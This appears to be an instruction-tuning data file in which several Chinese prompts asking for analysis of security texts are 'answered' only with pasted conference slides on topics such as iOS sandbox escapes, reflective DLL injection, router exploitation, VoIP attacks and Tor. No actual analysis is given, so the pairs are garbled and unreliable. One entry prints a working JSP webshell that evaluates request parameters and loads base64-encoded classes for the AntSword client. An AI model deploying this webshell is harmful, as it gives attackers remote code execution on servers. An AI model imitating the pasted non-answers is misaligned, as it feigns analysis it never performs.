                    pattern = "/" + pattern;
                    ++length;
                }
                int prefixLength = -1;
                boolean isShort = false;
                ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Fasten your seatbelts:
We are escaping iOS 11 sandbox!
Min(Spark) Zheng & Xiaolong Bai
@ Alibaba Security Lab
Whoami
Alibaba Security
•
SparkZheng @ Twitter，蒸米spark @ Weibo
•
Alibaba Security Expert
•
CUHK PhD, Blue-lotus and Insight-labs
•
iOS 9.3.4 & iOS 11.3.1 OverSky Jailbreak (Private)
Alibaba Security
•
Xiaolong Bai (bxl1989 @ Twitter&Weibo)
•    Alibaba Security Engineer
•    Ph.D. graduated from Tsinghua University
•
Published papers on S&P, Usenix Security, CCS, NDSS
iOS System Overview
Alibaba Security
•
Application
- in sandbox
- few attack surfaces to kernel
- only basic system info
- memory info(e.g., sharedcache)
•
Userland
- all system info
- more attack surfaces to kernel
•
Kernel
- Control the device
System
System Libs
Kernel
Frameworks
IPC
System Services
Sandbox
Alibaba Security
•
Apple‘s Sandbox was introduced as “SeatBelt” in MacOS 10.5 which
provides the first full fledged implementation of a MACF policy.
•
From its inception, the policy hooked dozens of operations. The number of
hooks has been growing steadily when new system calls or newly discovered
threats appeared (tables from *OS internals):
Version
XNU
System Version
Hook Count
34
1510
macOS 10.6
92
120
1699
macOS 10.7
98
211/220
2107
iOS 6/macOS 10.8
105
300
2422
iOS 7/macOS 10.9
109
358
2782
iOS 8/macOS 10.10
113
459
3216
iOS 9/macOS 10.11
119
592
3789
iOS 10/macOS 10.12
126/124
763
4570
iOS 11/macOS 10.13
132/131
Sandbox Profiles
Alibaba Security
•
In MacOS, profiles are visible and stored in /System/Library/Sandbox/Profiles. In iOS, the profiles
were hard-compiled into /usr/libexec/sandboxd. It’s hard to decode the sandbox profiles, but
we can traverse all mach services to get the mach-lookup list according to the return value (e.g.,
through sbtool by Jonathan Levin).
Mach Service Name -> Binary
Alibaba Security
•
In order to find vulnerabilities, we need to disassemble and analyze the binaries which contain
the handler functions of related mach services. /System/Library/La...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Keren Elazari
aka  @K3r3n3
www.K3r3n3.com
A Confession
 TAKE THE RED PILL?
@K3r3n3
@K3r3n3
Source : “25 Years Of Vulnerabilities:  1988-2012 Sourcefire Research Report”
Barnaby Jack, 1977-2013
Photo: IOACTIVE
RESEARCH What Matters!
https://www.iamthecavalry.org/
Don’t Keep Your Bugs To Yourself
www.bugcrowd.com/list-of-bug-bounty-programs
The Internet Bug Bounty
www.hackerone.com/ibb
AFFORD NOT TO
Botnet
Phishing Campaigns
Spam
Denial of Service
Image by Chris Halderman CC BY 3.0
Empower The Masses
Image by Scoobay
CC BY-NC-SA 2.0
One Million
Security
Professionals
Needed!
Source : Cisco 2014 Annual Security Report
Image by Scoobay
CC BY-NC-SA 2.0
Image by R. Kikuo Johnson for NYT, September 2013
FEAR
UNCERTAINTY
DOUBT
Image: The Economist
 Fight FUD With FACTS
INFLUENCE THE INPUT
RIGHT NOW
Research What Matters
Don’t Keep Your Bugs To Yourself
Collaborate & Share
Empower The Masses
Stop The Spread Of FUD
Illustration by François Baranger


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PROXY
PRANK-O-MATIC
starring
charlie vedaa, ccie #7502
and
anonymous speaker
A messAGE fROM Jules
A messAGE fROM Jules
If you’re easily offended…
A messAGE fROM Jules
If you’re easily offended…
now would be a good time to
go fuck yourself.
A messAGE fROM Jules
If you’re easily offended…
now would be a good time to
go fuck yourself.
Seriously, fuck off.
A Message From Jules
If you’re easily offended…
now would be a good time to
go fuck yourself.
Seriously, fuck off.
Fucking asshole.
ciscostu
network architect
FBI’s CJIS Division
founder
PacketProtector.org
anonymous speaker
has skills
Who are we?
Shameless SALES PITCH
What’s the point of this?
Sounds interesting...
Sounds interesting...
the TIME MACHINE
It’s on, bitches
the all-porn internet
Prepare to be woo-ed
the Tourette-net
MOTHERFUCKER
Come and get it
http://prank-o-matic.com
the time machine
proxy.prank-o-matic.com:8000
the all-porn internet
proxy.prank-o-matic.com:8001
the tourette-net
proxy.prank-o-matic.com:8002
Brainstorming
Props
•Pete Stevens (Upside-Down-
Ternet)
•DEFCON staff
•Squid
•the entire open source
community


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Reflective Injection Detection –
RID.py
Or How I slapped together some python c-types
in a week to do what defensive vendors aren't
incorporating into main-line products
Or Bringing the Sexy Back - A defensive tool that
doesn't fail quite as hard as it could
Pre-talk notes
● I don't own any of the artwork.  It's all from
google-images without copyright notices.
● I think fault lies on both sides of the fence.
● My statements here don't reflect my past,
present, or future employer's point of view.
Some thinks were inserted merely for humor.
Who Am I?
This page intentionally left blank
Who Am I?
On a more serious note:
You can check out my CV here on linkedin:
pub/andrew-king/23/432/679
Just a note, defense is first offense is last
Why would I do a talk that's going to
make people angry?
Reflective Injection?
● Load DLL from memory
● VirtualAlloc or Ex
● No heap(might fragment)
Defense
● Programmers are lazy
– Not just defensive programmers
● So there's probably very little 'request specific
and check' going on
● Memory address allocations tend to be pretty
predictable
● Possible optimization for scanning
Offense
● So what if they start looking for our PE
mapping code?
● Just do the expansion on disk with some utility
and now all that relocation code isn't needed.
● Vendors would rather search for reflect inject
stager code I think...
● See some AV detects my obfuscation tutorial
as malicious even though it prints hello...
Fail
Why does it still work?
● Can we detect it at runtime?
● Only if we monitor VirtualAllocEx which seems
really doubtful since all memory allocations
eventually wind up there.
● Why it's not implemented in my opinion.
● Can we scan memory for it?
● Sure, that's easy.
Defense side of things
Finding reflect injected DLLs
● What does a DLL structurally have that raw
data doesn't?
● PE header
● COFF headers
● Section tables
● Permissions
● Predictable layout
So first build a white-list
● Get all processes
● Get modules for all proce...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Koalrの沉思录
Posts
About
xray 终极反制实践
November 26, 2021 阅读时间：9 分钟
xray 得益于 Go 语言本身的优势，没有那么多不安全的动态特性，唯一动态是一个表达式引擎
（CEL)，用的时候也加了各种类型校验，和静态代码没有什么区别了，因此基本不可能实现 RCE
之类的反制效果。那么我们换个思路，有没有办法让 xray 直接无法使用呢。
无法使用有两个表现，一个是让其直接崩溃掉，效果就是如果用 xray 扫描一个恶意 server，
xray 直接 panic 退出。xray 0.x.x 之前的某些版本确实有这种 bug，我当时耗费了很大的精力去
这个定位问题然后开心的修掉了，这里就不细说这个点了，因为版本太老说了也没有太大意义。
另一方面呢，想想之前比较热门的 CobaltStrike 反制，做法是设法取得 CS 的通信密钥然后模拟
其上线流量，Server 端会瞬间上线无数机器，使得 CS 无法正常使用。那么我们能否给 xray 喂
屎，使得它能瞬间扫出无数漏洞来让正常的扫描失效呢，我顺着这个思路做了一些探索，这篇文
章就来说下我在编写这样一个”反制“工具的过程中遇到的困难以及我是如何解决的。
入手
想让扫描器能扫出漏洞，只需要满足扫描器对一个漏洞的规则定义即可。xray 的 poc 部分是开源
的，意味着我们可以知道 xray 在扫描时是怎么发的包，以及什么样的响应会被定义为漏洞存在。
那么我们只要能定义一个 server ，让 server 按照 poc 中定义的的响应去返回数据，就可以欺骗
xray 让其认为漏洞存在！看一个最简单的例子：
1
2
3
4
5
6
7
rules:
r0:
request:
method: GET
path: /app/kibana
expression: response.status == 200 && response.body.bcontains(b".kibanaWelcomeVie
expression: r0()
在这个例子中，只要让 /app/kibana 这个路由返回.kibanaWelcomeView 并且状态码是 200，就能
扫出 poc-yaml-kibana-unauth 这个漏洞。这太简单了，我们只需要批量解析一下所有 poc，然后
基于规则构建一下返回的数据就可以了，事实的确如此，不过过程可能稍显曲折。来看下另一个
例子：
 1
 2
 3
set:
rand1: randomLowercase(10)
rules:
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
r0:
request:
method: GET
path: /enc?md5={{rand1}}
expression: response.body.bcontains(bytes(md5(rand1)))
output:
search: 'test_yarx_(?P<group_id>\w+)".bsubmatch(response.body)'
group_id: search["group_id"]
r1:
request:
method: GET
path: /groups/{{group_id}}
expression: response.headers["Set-Cookie"].contains(group_id, 0, 8)
expression: r0() && r1()
这个例子复杂了亿点，其复杂性主要来自于这几方面：
1. 整体存在两条规则 r0() && r1() ，且两条规则都满足才行
2. path 中存在变量，无法直接将 path 作为路由使用
3. 第二条规则的 group_id来自于第一条规则的响应进行匹配得到的值，即两条规则存在联系
4. 对响应的判断没有使用常量，而是需要将变量经过部分运算后返回给扫描器才有效
可能有同学会问，实际的 poc 真有这么复杂吗，答案是有过之而无不及。这种逻辑复杂还有层级
关系的 poc 极大的阻碍了我们上面一把梭的想法。我们需要重新整理一下思路，寻找一下破局的
方法。
破局
yaml poc 中的 expression 部分用于漏洞存在性判断，它是一条规则在执行过程最终的终点，从
这里出发去寻找解决方案是一个不错的思路。 expression 部分是由 CEL 标准定义的表达式，下
面这些形式都是合法且常见的：
1
2
3
reponse.status != 201
response.header["token"] == "lwq"
reponse.body.bcontains(bytes(md5("yarx")))
需要反连的漏洞先不谈，宏...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
新型句话连接原有句话
@yzddMr6
1.jsp
Payload
密码test
 1 <%@ page import="javax.script.ScriptEngineManager" %>
 2 <%@ page import="javax.script.ScriptEngine" %><%
 3     try {
 4         ScriptEngine engine = new ScriptEngineManager().getEngine
ByName("js");
 5         engine.put("request", request);
 6         engine.put("response", response);
 7         engine.eval(request.getParameter("mr6"));
 8     } catch (Exception e) {
 9         System.out.println("error: "+e);;
10     }
11 %>
 1 try {
 2   load("nashorn:mozilla_compat.js");
 3 } catch (e) {}
 4 importPackage(Packages.java.util);
 5 importPackage(Packages.java.lang);
 6 importPackage(Packages.java.io);
 7 var output = new StringBuffer("");
 8 var cs = "UTF-8";
 9 response.setContentType("text/html");
10 request.setCharacterEncoding(cs);
11 response.setCharacterEncoding(cs);
12 function Base64DecodeToByte(str) {
13   importPackage(Packages.sun.misc);
14   importPackage(Packages.java.util);
15   var bt;
2
添加到蚁剑参数⾥
16   try {
17     bt = new BASE64Decoder().decodeBuffer(str);
18   } catch (e) {
19     bt = new Base64().getDecoder().decode(str);
20   }
21   return bt;
22 }
23 function defineShell(cls) {
24   var payload = Base64DecodeToByte(cls);
25   var loader = Thread.currentThread().getContextClassLoader();
26   var byteArray = Java.type("byte[]");
27   var int = Java.type("int");
28   var defineMethod = java.lang.ClassLoader.class.getDeclaredMetho
d(
29     "defineClass",
30     byteArray.class,
31     int.class,
32     int.class
33   );
34   defineMethod.setAccessible(true);
35   var constructor =
36     java.security.SecureClassLoader.class.getDeclaredConstructor(
37       ClassLoader.class
38     );
39   constructor.setAccessible(true);
40   var cl = constructor.newInstance(loader);
41   var c = defineMethod.invoke(cl, payload, 0, payload.length);
42   c.newInstance().equals(request);
43 }
44 defineShell(request.getParameter("test"));
3
修改密码为test，使⽤原有类型连接，连接成功
可以使⽤As-Exploits插件所有功能
4


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

From SQL Injection to MIPS
Overﬂows
Rooting SOHO Routers
Zachary Cutlip
Tactical Network Solutions
Craig Heffner
Acknowledgements
What I’m going to talk about
Novel uses of SQL injection
Buffer overﬂows on MIPS architecture
0-day Vulnerabilities in Netgear routers
Embedded device investigation process
Live demo: Root shell & more
Questions
Read the paper
Lots of essential details
Not enough time in this talk to cover it all
Please read it
Why attack SOHO routers?
Offers attacker privileged vantage point
Exposes multiple connected users to attack
Exposes all users’ Internet comms to snooping/
manipulation
Often unauthorized side doors into enterprise networks
Target device: Netgear
WNDR3700 v3
Fancy-pants SOHO
Wireless Router
DLNA Multimedia
server
File server w/USB
storage
Very popular on Amazon
Other affected devices
Netgear WNDR 3800
Netgear WNDR 4000
Netgear WNDR 4400
First step: take it apart
UART
header
UART to USB
adapter
USB port
Helps analysis
Retrieve SQLite DB
Load a debugger
onto the router
Analyzing the Device
Software
Download ﬁrmware update from
vendor, unpack
See Craig Heffner’s blog for more on
ﬁrmware unpacking
http://www.devttys0.com/blog
Linux--Woo hoo!
$ binwalk ./WNDR3700v3-V1.0.0.18_1.0.14.chk
DECIMAL   	 HEX       	DESCRIPTION
---------------------------------------------------
86        	 0x56      LZMA compressed data
1423782   	 0x15B9A6  	 Squashfs ﬁlesystem
$ dd if=WNDR3700v3-V1.0.0.18_1.0.14.chk of=kernel.7z bs=1 skip=86 count=1423696
$ p7zip -d kernel.7z
$ strings kernel | grep 'Linux version'
Linux version 2.6.22 (peter@localhost.localdomain) (gcc version 4.2.3) #1 Wed Sep 14
10:38:51 CST 2011
Target Application:
MiniDLNA
What is DLNA?
Digital Living Network
Alliance
Interoperability
between gadgets
Multimedia playback,
etc.
But Most Importantly...
Attack Surface
Google reveals: open
source!
Source code analysis
‘strings’ reports shipping binary is 1.0.18
Download source for our version.
Search source for low-hanging f...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

VoIP Wars : Return of the SIP
Fatih Özavcı
Security Consultant @ Sense of Security (Australia)
www.senseofsecurity.com.au
@fozavci
2
# whois
● Security Consultant @ Sense of Security (Australia)
● 10+ Years Experience in Penetration Testing
● 800+ Penetration Tests, 40+ Focused on NGN/VoIP
– SIP/NGN/VoIP Systems Penetration Testing
– Mobile Application Penetration Testing
– IPTV Penetration Testing
– Regular Stuff (Network Inf., Web, SOAP, Exploitation...)
● Author of Viproy VoIP Penetration Testing Kit
● Author of Hacking Trust Relationships Between SIP Gateways
● Blackhat Arsenal USA 2013 – Viproy VoIP Pen-Test Kit
● So, that's me
Viproy in Action
http://www.youtube.com/watch?v=1vDTujNVKGM
4
# traceroute
● VoIP Networks are Insecure, but Why?
● Basic Attacks
– Discovery, Footprinting, Brute Force
– Initiating a Call, Spoofing, CDR and Billing Bypass
● SIP Proxy Bounce Attack
● Fake Services and MITM
– Fuzzing Servers and Clients, Collecting Credentials
● (Distributed) Denial of Service
– Attacking SIP Soft Switches and SIP Clients, SIP Amplification Attack
● Hacking Trust Relationships of SIP Gateways
● Attacking SIP Clients via SIP Trust Relationships
● Fuzzing in Advance
● Out of Scope
– RTP Services and Network Tests, Management
– Additional Services
– XML/JSON Based Soap Services
5
# info
● SIP – Session Initiation Protocol
– Only Signalling, not for Call Transporting
– Extended with Session Discovery Protocol
● NGN – Next Generation Network
– Forget TDM and PSTN
– SIP, H.248 / Megaco, RTP, MSAN/MGW
– Smart Customer Modems & Phones
– Easy Management
– Security is NOT a Concern?!
● Next Generation! Because We Said So!
6
# SIP Services : Internal IP Telephony
       INTERNET
SIP Server
Support Servers
SIP Clients
Factory/Campus
SIP over VPN
Commercial
Gateways
Analog/Digital PBX
7
# SIP Services : Commercial Services
        INTERNET
Soft Switch
(SIP Server)
VAS, CDR, DB Servers
MSAN/MGW
PSTN/ISDN Distributed
MPLS
3rd Party
Gateways
SDP Servers
Customers...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
Design of a blocking-resistant
anonymity system
Roger Dingledine, Nick Mathewson
The Tor Project
2
Outline
● Crash course on Tor
● Goals for blocking resistance
● Assumptions (threat model)
● What Tor offers now
● Current proxy solutions
● What we need to add to Tor
● All the other issues that come up
3
Tor:  Big Picture
● Freely available (Open Source), unencumbered.
● Comes with a spec and full documentation:
Dresden and Aachen implemented compatible Java
Tor clients; researchers use it to study anonymity.
● Chosen as anonymity layer for EU PRIME project.
● 200000+ (?) active users.
● PC World magazine named Tor one of the Top 100
Products of 2005.
4
Anonymity serves different
interests for different user groups.
Anonymity
Private citizens
Governments
Businesses
“It's privacy!”
5
Anonymity serves different
interests for different user groups.
Anonymity
Private citizens
Governments
Businesses
“It's network security!”
“It's privacy!”
6
Anonymity serves different
interests for different user groups.
Anonymity
Private citizens
Governments
Businesses
“It's traffic-analysis
resistance!”
“It's network security!”
“It's privacy!”
7
The simplest designs use a single
relay to hide connections.
Bob2
Bob1
Bob3
Alice2
Alice1
Alice3
Relay
E(Bob3,“X”)
E(Bob1, “Y”)
E(Bob2, “Z”)
“Y”
“Z”
“X”
(example: some commercial proxy providers)
8
But a single relay is a single point of
failure.
Bob2
Bob1
Bob3
Alice2
Alice1
Alice3
Evil
Relay
E(Bob3,“X”)
E(Bob1, “Y”)
E(Bob2, “Z”)
“Y”
“Z”
“X”
Eavesdropping on the
relay works too.
9
So, add multiple relays so that
no single one can betray Alice.
Bob
Alice
R1
R2
R3
R4
R5
10
A corrupt first hop can tell that
Alice is talking, but not to whom.
Bob
Alice
R1
R2
R3
R4
R5
11
A corrupt final hop can tell that
somebody is talking to Bob,
but not who.
Bob
Alice
R1
R2
R3
R4
R5
12
Alice makes a session key with R1
...And then tunnels to R2...and to R3
Bob
Alice
R1
R2
R3
R4
R5
Bob2
13
Attackers can block users from
connecting to the Tor network...